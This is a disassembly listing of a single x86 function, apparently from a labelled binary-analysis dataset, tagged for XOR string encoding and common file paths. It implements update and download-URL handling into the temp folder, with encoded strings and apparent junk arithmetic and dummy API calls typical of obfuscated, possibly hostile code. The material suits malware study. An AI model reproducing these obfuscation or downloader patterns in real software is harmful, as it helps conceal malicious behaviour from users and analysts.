Function at 0x41e8f5
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push 0xb34
mov eax, 0x4afdc3
call fcn.0048f48f
mov edi, ecx
mov eax, dword [edi + 0x78]
mov dword [ebp - 0xb3c], edi
cmp dword [eax - 0xc], 0
jne 0x41e977
mov ecx, dword [0x507340]
mov eax, ecx
imul eax, ecx
and eax, 0x8000000f
jns 0x41e92c
dec eax
or eax, 0xfffffff0
inc eax
xor ebx, ebx
cmp eax, 7
jne 0x41e945
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, dword [0x507340]
lea eax, [ecx + 1]
imul eax, ecx
push 9
cdq
pop esi
idiv esi
cmp edx, 1
jne 0x41ec52
mov eax, dword [ebp + ebx*4 - 0xac8]
imul eax, eax, 0x13
add ecx, eax
inc ebx
cmp ebx, 0x40
jb 0x41e95a
mov dword [0x507340], ecx
jmp 0x41ec52
add eax, 0xfffffff0
push eax
call fcn.00403b5b
add eax, 0x10
pop ecx
mov dword [ebp - 0xb0c], eax
push dword [edi + 0x4c]
xor ebx, ebx
push ecx
mov ecx, esp
push str.566e6c607d72646950
mov dword [ebp - 4], ebx
call fcn.00401b1e
lea eax, [ebp - 0xafc]
push eax
call fcn.004384b2
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0xb0c]
mov byte [ebp - 4], 1
call fcn.0041896a
mov ecx, dword [ebp - 0xafc]
mov byte [ebp - 4], bl
lea ecx, [ecx - 0x10]
call fcn.00407864
lea eax, [ebp - 0xb18]
push eax
call fcn.004380f4
mov esi, eax
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 2
mov dword [esp], 0x4c40e8
call fcn.00401b1e
push 0x4c40e0
push eax
lea eax, [ebp - 0xb00]
push eax
mov byte [ebp - 4], 3
call fcn.00409229
push 4
pop ecx
push esi
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], cl
call fcn.004091d4
add esp, 0x18
mov eax, dword [eax]
lea ecx, [ebp - 0xb0c]
push dword [eax - 0xc]
mov byte [ebp - 4], 5
push eax
call fcn.00409334
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb08]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb18]
mov byte [ebp - 4], bl
lea ecx, [ecx - 0x10]
call fcn.00407864
push 0x505ab0
lea ecx, [ebp - 0xb14]
call fcn.00408fd9
mov ecx, dword [0x507340]
mov byte [ebp - 4], 6
mov eax, ecx
imul eax, ecx
push 0x12
cdq
pop esi
idiv esi
cmp edx, 3
jne 0x41eae5
movsd xmm3, qword [0x4c0b60]
movd xmm4, ecx
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x41eacb
subsd xmm2, xmm3
divsd xmm3, qword [0x4c0b68]
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x4c0b58]
ja 0x41eaad
lea eax, [ebp - 0xb14]
push eax
lea eax, [ebp - 0xb0c]
push eax
lea eax, [ebp - 0xb10]
push eax
call fcn.004258be
add esp, 0xc
mov byte [ebp - 4], 7
call fcn.0042156f
test al, al
jne 0x41eb3f
mov edx, dword [0x507340]
push 8
mov ecx, ebx
pop esi
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, edx
sar ecx, 1
xor ecx, eax
dec esi
jne 0x41eb1a
add edx, ecx
inc ebx
cmp ebx, 0x100
jl 0x41eb15
push 0x12
mov dword [0x507340], edx
pop esi
lea eax, [ebp - 0xafc]
push eax
call fcn.00423ba0
pop ecx
push dword [eax]
lea ecx, [ebp - 0xb10]
mov byte [ebp - 4], 8
call fcn.004093fe
mov ecx, dword [ebp - 0xafc]
mov ebx, eax
neg ebx
sbb bl, bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 7
call fcn.00407864
inc bl
je 0x41ec58
lea eax, [ebp - 0xb14]
push eax
push ecx
mov ecx, esp
push str.6e45484e466c585942785d494c5948785f41726559595d7f485c58485e5972
call fcn.00401b1e
lea eax, [ebp - 0xb18]
push eax
call fcn.004384b2
pop ecx
pop ecx
mov esi, eax
push 0x505ab0
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 9
call fcn.00408fd9
push esi
lea eax, [ebp - 0xb08]
push eax
lea eax, [ebp - 0xb00]
push eax
mov byte [ebp - 4], 0xa
call fcn.0042c1d8
add esp, 0xc
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], 0xb
call fcn.0042c1d8
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0xc
call fcn.00420bb2
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb08]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb18]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb10]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb14]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb0c]
lea ecx, [ecx - 0x10]
call fcn.00407864
call fcn.0048f3e1
ret
mov eax, dword [ebp - 0xb10]
cmp dword [eax - 0xc], 0
jne 0x41ed17
mov ecx, dword [0x507340]
mov eax, ecx
imul eax, ecx
imul eax, ecx
push 9
cdq
pop ecx
idiv ecx
cmp edx, 3
jne 0x41ec98
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push ecx
mov ecx, esp
push str.6e45484e466c585942785d494c5948785f41725e595f675e42437248405d5954
call fcn.00401b1e
lea eax, [ebp - 0xb00]
push eax
call fcn.004384b2
pop ecx
pop ecx
mov esi, eax
push 0x505ab0
lea ecx, [ebp - 0xb08]
mov byte [ebp - 4], 0xd
call fcn.00408fd9
push esi
lea eax, [ebp - 0xb08]
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], 0xe
call fcn.0042c1d8
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0xf
call fcn.00420bb2
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb08]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
jmp 0x41ec20
lea ecx, [ebp - 0xa84]
push 3
mov dword [ebp - 0xa88], ecx
push eax
lea ecx, [ebp - 0xa88]
mov byte [ebp - 4], 0x10
call fcn.004204b1
mov ecx, dword [0x507340]
mov eax, ecx
imul eax, ecx
cdq
idiv esi
xor ebx, ebx
mov byte [ebp - 4], 0x11
cmp edx, 8
jne 0x41ed6e
mov edx, ebx
mov eax, dword [ebp + edx*4 - 0x9ec]
imul eax, eax, 0xc3
add ecx, eax
inc edx
mov dword [0x507340], ecx
cmp edx, 0x2d0
jb 0x41ed50
push dword [ebp - 0xa88]
lea ecx, [ebp - 0xa04]
call fcn.00401027
push 0x12
pop eax
lea ecx, [ebp - 0xaf8]
mov byte [ebp - 4], al
call fcn.0042c7d1
push 0x13
pop eax
push ebx
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], al
call fcn.0042f326
mov edx, dword [0x507340]
push 0x14
pop eax
mov byte [ebp - 4], al
lea ecx, [edx + 1]
lea eax, [edx + 2]
imul eax, ecx
imul eax, edx
push 0x16
cdq
pop ecx
idiv ecx
cmp edx, 0xe
jne 0x41edd0
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push 1
lea eax, [ebp - 0xb38]
push eax
lea eax, [ebp - 0xa04]
push eax
lea ecx, [ebp - 0xaf8]
call fcn.0042e030
test al, al
jne 0x41ee80
push ecx
mov ecx, esp
push str.6e45484e466c585942785d494c5948785f41725d4c5f5e4872485f5f425f
call fcn.00401b1e
lea eax, [ebp - 0xb24]
push eax
call fcn.004384b2
pop ecx
pop ecx
mov esi, eax
push 0x505ab0
lea ecx, [ebp - 0xb00]
mov byte [ebp - 4], 0x15
call fcn.00408fd9
push esi
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], 0x16
call fcn.0042c1d8
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x17
call fcn.00420bb2
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb24]
lea ecx, [ecx - 0x10]
call fcn.00407864
push 0x13
pop ecx
mov byte [ebp - 4], cl
jmp 0x41f56d
mov esi, str._L_update_low_ver
push esi
lea ecx, [ebp - 0xb00]
call fcn.00416f4a
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], 0x18
call fcn.00438b5d
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0xb24]
mov byte [ebp - 4], 0x19
call fcn.0041b806
push dword [eax]
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x1a
call fcn.0042f5f2
mov ecx, eax
call fcn.0043026c
mov ecx, dword [ebp - 0xb24]
test al, al
lea ecx, [ecx - 0x10]
sete bl
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
push 0x14
pop eax
lea ecx, [ecx - 0x10]
mov byte [ebp - 4], al
call fcn.00407864
test bl, bl
jne 0x41ee75
push esi
lea ecx, [ebp - 0xb00]
call fcn.00416f4a
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], 0x1b
call fcn.00438b5d
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0xb24]
mov byte [ebp - 4], 0x1c
call fcn.0041b806
push dword [eax]
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x1d
call fcn.0042f5f2
mov ecx, eax
call fcn.0042fac7
push eax
lea ecx, [ebp - 0xb1c]
call fcn.00416f4a
mov ecx, dword [ebp - 0xb24]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
mov byte [ebp - 4], 0x21
lea ecx, [ecx - 0x10]
call fcn.00407864
mov eax, dword [ebp - 0xb1c]
cmp dword [eax - 0xc], 0
jne 0x41efac
lea ecx, [eax - 0x10]
jmp 0x41ee70
mov esi, str.update_high_ver
push esi
lea ecx, [ebp - 0xb38]
call fcn.0042f5f2
mov ecx, eax
call fcn.0043026c
test al, al
jne 0x41efee
call fcn.00421525
mov ecx, dword [0x507a88]
mov edx, 0x6fb98a66
test al, al
cmove ecx, edx
mov dword [0x507a88], ecx
mov ecx, dword [ebp - 0xb1c]
jmp 0x41ee6d
push esi
lea ecx, [ebp - 0xb38]
call fcn.0042f5f2
mov ecx, eax
call fcn.0042fac7
push eax
lea ecx, [ebp - 0xb08]
call fcn.00416f4a
mov eax, dword [ebp - 0xb08]
mov byte [ebp - 4], 0x22
cmp dword [eax - 0xc], 0
jne 0x41f027
lea ecx, [eax - 0x10]
call fcn.00407864
jmp 0x41efe3
mov esi, str._L_download_url
push esi
lea ecx, [ebp - 0xb00]
call fcn.00416f4a
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xafc]
push eax
mov byte [ebp - 4], 0x23
call fcn.00438b5d
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0xb24]
mov byte [ebp - 4], 0x24
call fcn.0041b806
push dword [eax]
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x25
call fcn.0042f5f2
mov ecx, eax
call fcn.0043026c
mov ecx, dword [ebp - 0xb24]
test al, al
lea ecx, [ecx - 0x10]
sete bl
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
mov byte [ebp - 4], 0x22
lea ecx, [ecx - 0x10]
call fcn.00407864
test bl, bl
je 0x41f0bf
mov ecx, dword [ebp - 0xb08]
lea ecx, [ecx - 0x10]
jmp 0x41f020
push esi
lea ecx, [ebp - 0xb00]
call fcn.00416f4a
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xb40]
push eax
mov byte [ebp - 4], 0x26
call fcn.00438b5d
pop ecx
pop ecx
push dword [eax]
lea ecx, [ebp - 0xb24]
mov byte [ebp - 4], 0x27
call fcn.0041b806
push dword [eax]
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x28
call fcn.0042f5f2
mov ecx, eax
call fcn.0042fac7
push eax
lea ecx, [ebp - 0xb20]
call fcn.00416f4a
mov ecx, dword [ebp - 0xb24]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb40]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb00]
mov byte [ebp - 4], 0x2c
lea ecx, [ecx - 0x10]
call fcn.00407864
mov esi, dword [0x507340]
mov eax, esi
imul eax, esi
push 0x13
cdq
pop ecx
idiv ecx
xor ebx, ebx
cmp edx, 3
jne 0x41f178
mov eax, esi
sub eax, ebx
je 0x41f16f
dec eax
je 0x41f16b
inc esi
jmp 0x41f172
mov esi, ebx
jmp 0x41f172
push 2
pop esi
mov dword [0x507340], esi
mov ecx, dword [ebp - 0xb20]
cmp dword [ecx - 0xc], 0
jne 0x41f1cc
mov eax, esi
imul eax, esi
push 0x14
cdq
pop edi
idiv edi
cmp edx, 0xe
jne 0x41f1c4
push 0x64
pop ecx
mov eax, esi
cdq
idiv ecx
xor ecx, ecx
push 4
lea eax, [edx + 0x141]
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0048dbeb
pop ecx
push eax
call fcn.0048fbd7
pop ecx
mov ecx, dword [ebp - 0xb20]
add ecx, 0xfffffff0
jmp 0x41f546
mov eax, dword [ebp - 0xb08]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0xb04], esp
mov esi, esp
push eax
call fcn.00403b5b
add eax, 0x10
pop ecx
mov dword [esi], eax
mov eax, dword [ebp - 0xb1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
mov byte [ebp - 4], 0x2d
call fcn.00403b5b
add eax, 0x10
pop ecx
mov dword [esi], eax
mov ecx, edi
mov byte [ebp - 4], 0x2c
call fcn.0042103a
test al, al
je 0x41f53d
push 0x4c1ab0
lea ecx, [ebp - 0xb20]
call fcn.004093fe
test eax, eax
je 0x41f5b1
push 0x4c42ac
lea ecx, [ebp - 0xb20]
call fcn.004093fe
test eax, eax
je 0x41f5b1
xor eax, eax
push 0x206
mov word [ebp - 0x924], ax
lea eax, [ebp - 0x922]
push ebx
push eax
call fcn.004913e0
add esp, 0xc
lea eax, [ebp - 0x924]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x41f2fc
push ecx
mov ecx, esp
push str.6e45484e466c585942785d494c5948785f41726a48597948405d7d4c594572
call fcn.00401b1e
lea eax, [ebp - 0xb04]
push eax
call fcn.004384b2
pop ecx
pop ecx
mov esi, eax
push 0x505ab0
lea ecx, [ebp - 0xafc]
mov byte [ebp - 4], 0x31
call fcn.00408fd9
push esi
lea eax, [ebp - 0xafc]
push eax
lea eax, [ebp - 0xb28]
push eax
mov byte [ebp - 4], 0x32
call fcn.0042c1d8
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x33
call fcn.00420bb2
mov ecx, dword [ebp - 0xb28]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb04]
jmp 0x41f535
lea eax, [ebp - 0x924]
push eax
lea ecx, [ebp - 0xb18]
call fcn.00401b1e
mov eax, dword [ebp - 0xb18]
lea ecx, [ebp - 0xb18]
mov eax, dword [eax - 0xc]
dec eax
push eax
mov byte [ebp - 4], 0x34
call fcn.00409650
movzx eax, ax
cmp eax, 0x5c
je 0x41f38e
push str._L__
lea ecx, [ebp - 0xafc]
call fcn.00401b1e
lea eax, [ebp - 0xafc]
push eax
lea eax, [ebp - 0xb04]
push eax
mov byte [ebp - 4], 0x35
call fcn.00438b5d
pop ecx
pop ecx
mov eax, dword [eax]
lea ecx, [ebp - 0xb18]
push dword [eax - 0xc]
mov byte [ebp - 4], 0x36
push eax
call fcn.00409334
mov ecx, dword [ebp - 0xb04]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
mov byte [ebp - 4], 0x34
lea ecx, [ecx - 0x10]
call fcn.00407864
mov eax, dword [ebp - 0xb18]
add eax, 0xfffffff0
push eax
call fcn.00403b5b
lea esi, [eax + 0x10]
pop ecx
mov dword [ebp - 0xb00], esi
lea eax, [ebp - 0xb04]
push eax
mov byte [ebp - 4], 0x37
call fcn.004380f4
pop ecx
mov eax, dword [eax]
lea ecx, [ebp - 0xb18]
push dword [eax - 0xc]
mov byte [ebp - 4], 0x38
push eax
call fcn.00409334
mov ecx, dword [ebp - 0xb04]
mov byte [ebp - 4], 0x37
lea ecx, [ecx - 0x10]
call fcn.00407864
lea eax, [ebp - 0xb18]
push eax
lea eax, [ebp - 0xb20]
push eax
call fcn.004281e9
pop ecx
pop ecx
test al, al
jne 0x41f486
push ecx
mov ecx, esp
push str.6e45484e466c585942785d494c5948785f41726559595d79426f44434c5f546b4441487f485c58485e59
call fcn.00401b1e
lea eax, [ebp - 0xb28]
push eax
call fcn.004384b2
pop ecx
pop ecx
mov ebx, eax
push 0x505ab0
lea ecx, [ebp - 0xafc]
mov byte [ebp - 4], 0x39
call fcn.00408fd9
push ebx
lea eax, [ebp - 0xafc]
push eax
lea eax, [ebp - 0xb04]
push eax
mov byte [ebp - 4], 0x3a
call fcn.0042c1d8
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x3b
call fcn.00420bb2
mov ecx, dword [ebp - 0xb04]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb28]
lea ecx, [ecx - 0x10]
call fcn.00407864
lea ecx, [esi - 0x10]
jmp 0x41f52a
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xb18]
push eax
mov ecx, edi
call fcn.00420568
mov eax, dword [0x507340]
mov ecx, eax
imul ecx, eax
imul ecx, eax
and ecx, 0x8000000f
jns 0x41f4b5
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 2
jne 0x41f521
xor eax, eax
push 0x706
mov word [ebp - 0x71c], ax
lea eax, [ebp - 0x71a]
push ebx
push eax
call fcn.004913e0
add esp, 0xc
mov edi, ebx
mov esi, ebx
mov edx, ebx
test edi, edi
je 0x41f506
test edx, edx
je 0x41f506
lea eax, [edx + esi]
lea ecx, [edx + esi]
mov ax, word [ebp + eax*2 - 0x758]
inc ax
add ax, word [ebp + ecx*2 - 0x71e]
mov word [ebp + ecx*2 - 0x71c], ax
inc edx
cmp edx, 0x1e
jl 0x41f4de
add esi, 0x1e
inc edi
cmp esi, 0x384
jl 0x41f4dc
movsx eax, word [ebp - 0x16]
mov dword [0x507340], eax
mov ecx, dword [ebp - 0xb00]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb18]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb20]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb08]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb1c]
lea ecx, [ecx - 0x10]
call fcn.00407864
push 0x13
pop eax
mov byte [ebp - 4], al
lea ecx, [ebp - 0xb38]
call fcn.0042f451
lea ecx, [ebp - 0xaf8]
call fcn.00415d9a
lea ecx, [ebp - 0xa04]
call fcn.00401056
lea eax, [ebp - 0xa84]
cmp dword [ebp - 0xa88], eax
je 0x41ec28
push dword [ebp - 0xa88]
call fcn.0048fa51
pop ecx
jmp 0x41ec28
push ecx
mov ecx, esp
push str.6e45484e466c585942785d494c5948785f4172585f4172434c724b425f72585d494c5948
call fcn.00401b1e
lea eax, [ebp - 0xb28]
push eax
call fcn.004384b2
pop ecx
pop ecx
mov esi, eax
push 0x505ab0
lea ecx, [ebp - 0xafc]
mov byte [ebp - 4], 0x2e
call fcn.00408fd9
push esi
lea eax, [ebp - 0xafc]
push eax
lea eax, [ebp - 0xb04]
push eax
mov byte [ebp - 4], 0x2f
call fcn.0042c1d8
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x30
call fcn.00420bb2
mov ecx, dword [ebp - 0xb04]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xafc]
lea ecx, [ecx - 0x10]
call fcn.00407864
mov ecx, dword [ebp - 0xb28]
jmp 0x41f535